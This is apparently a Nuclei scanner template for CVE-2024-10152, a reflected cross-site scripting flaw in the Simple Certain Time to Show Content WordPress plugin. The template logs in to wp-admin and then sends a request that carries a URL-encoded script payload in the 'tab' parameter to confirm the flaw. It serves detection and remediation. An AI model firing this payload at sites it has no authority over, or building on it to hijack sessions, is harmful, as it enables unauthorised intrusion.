id: CVE-2024-10152

info:
  name: Simple Certain Time to Show Content - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Simple Certain Time to Show Content WordPress plugin < 1.3.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users such as admin, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to version 1.3.1 or later.
  reference:
    - https://wpscan.com/vulnerability/b4d17da2-4c47-4fd1-a6bd-6692b07cf710/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10152
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-10152
    cwe-id: CWE-79
    epss-score: 0.02644
    epss-percentile: 0.85932
    cpe: cpe:2.3:a:elementengage:simple_certain_time_to_show_content:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: elementengage
    product: simple_certain_time_to_show_content
  tags: cve,cve2024,elementengage,simple-certain-time-to-show-content,wordpress,wp,wp-plugin,authenticated,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "wordpress_logged_in")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=simple-certain-time-to-show-content&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "><script>alert(document.domain)</script>","simple-certain-time-to-show-content")'
        condition: and
# digest: 4a0a00473045022100e3c9bc189a5407e8dab1f25f5bb20e1bb4efe1ca0e0d507921f1c709f9653267022022cdc5b21c1c21673445434794ed410bc3618ad1c293cc71099b8153d2e8538b:922c64590222798bb761d5b6d8e72950